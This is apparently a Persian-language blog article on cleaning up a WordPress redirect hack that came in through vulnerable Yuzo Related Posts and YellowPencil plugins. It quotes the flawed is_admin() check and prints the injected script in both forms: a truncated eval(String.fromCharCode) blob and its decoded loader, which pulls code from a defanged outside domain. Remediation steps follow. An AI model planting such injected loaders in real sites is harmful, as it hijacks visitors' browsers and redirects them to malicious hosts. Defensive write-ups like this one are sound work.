رفع مشکل ریدایرکت وردپرس به سایت های ویروسی

بازدید: 480 بازدید

همانگونه که در مقاله “سئو و امنیت سایت” به آن اشاره نمودیم.تاثیر امنیت سایت در سئو و رشد رتبه سایت غیرقابل انکار می باشد. اﯾﻦ روز ﻫﺎ ﯾﮏ WordPress Redirect hack ﺟﺪﯾﺪ در ﺳﺎﯾﺖ ﻫﺎی وردﭘﺮﺳﯽ ﺷﺎﯾﻊ ﺷﺪه اﺳﺖ. در این مقاله به برخی از روش های رفع مشکل ریدایرکت وردپرس به سایت های ویروسی خواهیم پرداخت. اﯾﻦ رﯾﺪاﯾﺮﮐﺖ بیشتر زﻣﺎﻧﯽ رخ ﻣﯽ دﻫﺪ ﮐﻪ ﮐﺎرﺑﺮ وارد ﺻﻔﺤﻪ ادﻣﯿﻦ وردﭘﺮس ﻣﯽ ﺷﻮد و ﻣﻌﻤﻮﻻ ﮐﺎرﺑﺮ را ﺑﻪ ﺳﺎﯾﺖ ﻫﺎی وﯾﺮوﺳﯽ ﺑﻪ ﻣﺎﻧﻨﺪ ” hellofromhony.org ” ﻫﺪاﯾﺖ ﻣﯽ ﻧﻤﺎﯾﺪ.

ﺷﺎﯾﻊ ﺗﺮﯾﻦ دﻟﯿﻞ اﯾﻦ رﯾﺪاﯾﺮﮐﺖ اﺳﺘﻔﺎده از اﻓﺰوﻧﻪ های waspthemes-yellow-pencil و یا Yuzo Related Posts plugin بوده است. ﻇﺎﻫﺮا ﯾﮏ ﺣﻔﺮه اﻣﻨﯿﺘﯽ در نسخه های قدیمی اﯾﻦ اﻓﺰوﻧﻪ ها وجود داﺷﺘﻪاﺳﺖ ﮐﻪ ﺑﺎﻋﺚ ﻣﯽ ﺷﻮد ﻫﮑﺮ ﺑﺘﻮاﻧﺪ ﺑﺮﺧﯽ از ﻓﯿﻠﺪ ﻫﺎی ﺟﺪول options وردﭘﺮس را ﺗﻐﯿﯿﺮ دﻫﯿﺪ وی حتی اقدام به تغییر برخی فایل ها هسته وردپرس و یا تم شود و ﻣﺴﯿﺮ ﺳﺎﯾﺖ را ﺑﻪ آدرس دﻟﺨﻮاه ﺧﻮد ﻫﺪاﯾﺖ ﻧﻤﺎﯾﺪ. برای مثال در افزونه Yuzo Related Posts plugin موارد امنیتی در شناسایی ادمین نادیده گرفته شده است که اصطلاحا به آن is_admin() Strikes Again گفته می شود. این اعتبار سنجی در بخشی نادیده گرفته شده است که مسئول وارد نمودن اطلاعات به دیتابیس می باشد، مسیر قرار گیری کد به شکل زیر است :

assets/ilenframework/core.php

و قطعه کدی که باعث مشکل شده است :

function __construct(){

if( ! is_admin() ){ // only front-end

self::set_main_variable();

return;

}elseif( is_admin() ){ // only admin

// set default if not exists

self::_ini_();

در انتهای این کد از self::_ini_() استفاده شده است که باعث می شود ارجاعات در سطح ادمین باشند و بتوان به مسیر های /wp-admin/options-general.php و /wp-admin/admin-post.php دسترسی پیدا نماید و بتوانید از طریق self::save_options(); تنظیمات را ذخیره نماید.

با توجه به این حفره امنیتی، یک هکر می تواند کد JavaScript payload در تنظیمات افزونه تزریق نماید. این کد سپس می تواند در یک فایل html و یا php قرار داده شود و در زمان مشاهده سایت از سوی کاربران، اجرا شده و تنظیمات را در دیتابیس و دیگر بخش ها وارد نماید.

اولین قسمتی که دچار حمله شده است، فایل های استایل افزونه Yuzo Related Posts plugin هستند. برای مثال قطعه کد زیر در یکی از فایل های استایل این افزونه تزریق شده است :

<script language=javascript>

eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, ……………………….78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));

</script>

اگر این کد را دیکد نماییم، به قطعه کد زیر میرسیم:

 

</style><script language=javascript>var elem = document.createElement(‘script’);

elem.type = ‘text/javascript’;

elem.async = true;

elem.src = ‘https://hellofromhony[.]org/counter’;

document.getElementsByTagName(‘head’)[0].appendChild(elem);</script>

اگر یک کاربر صفحه ای که دارای این کد است را اجرا نماید به سایت های ویروسی ریدایرکت خواهد شد.

  • راه حل اول:

در خوشبینانه ترین حالت هکر و یا رباتی که هکر نوشته است، با دسترسی به سایت شما و فراخوانی حفره فقط توانسته است دو فیلد آدرس دهی وردپرس در جدول xxx_options را تغییر دهد، xxx پسوند جدول های دیتابیس شما خواهد یود. در این حالت، اولین کار غیر فعال کردن افزونه Yuzo Related Posts plugin ظاهرا موقتا افزونه از مخازن وردپرس نیز خارج شده است، سپس آپدیت افزونه waspthemes-yellow-pencil از ﻟﯿﻨﮏ زﯾﺮ ﻣﯽ ﺑﺎﺷﺪ :

دانلود افزونه

 

ﺳﭙﺲ وارد دﯾﺘﺎﺑﯿﺲ ﺷﺪه و دو ﻓﯿﻠﺪ home و siteurl را از ﺟﺪول xxx_options اﺻﻼح ﻧﻤﻮده و آدرس ﺳﺎﯾﺖ ﺧﻮد را ﺟﺎﯾﮕﺰﯾﻦ ﻧﻤﺎﯾﯿﺪ.

تصویر 1

 

با این کار عملا مشکل سایت برطرف خواهد شد .

  • راه حل دوم :

اگر کد ها به فایل های مختلفی تزریق شده باشد، کار سخت تر خواهد بود. علاوه بر انجام مرحله اول در پاکسازی دیتابیس می بایست به دنبال کد های تزریق شده در فایل ها بگردیم و آن ها را نیز اصلا نماییم. برای این منظور می توانیم افزونه string locator را از مخزن افزونه های وردپرس دانلود و نصب نمایید:

 

 

سپس نام دامنه ای که سایت شما به آن ریدایرکت می شود را جست و جو نموده و از فایل ها حذف نمایید . ممکن است نام سایت مورد نظر به صورت کد شده باشد، در این صورت توصیه می شود کد base64 آن آدرس را از سایت base64decode.org تهیه نموده آن کد را در فایل های ورپرس خود، جست و جو نمایید.

 

ادامه مطلب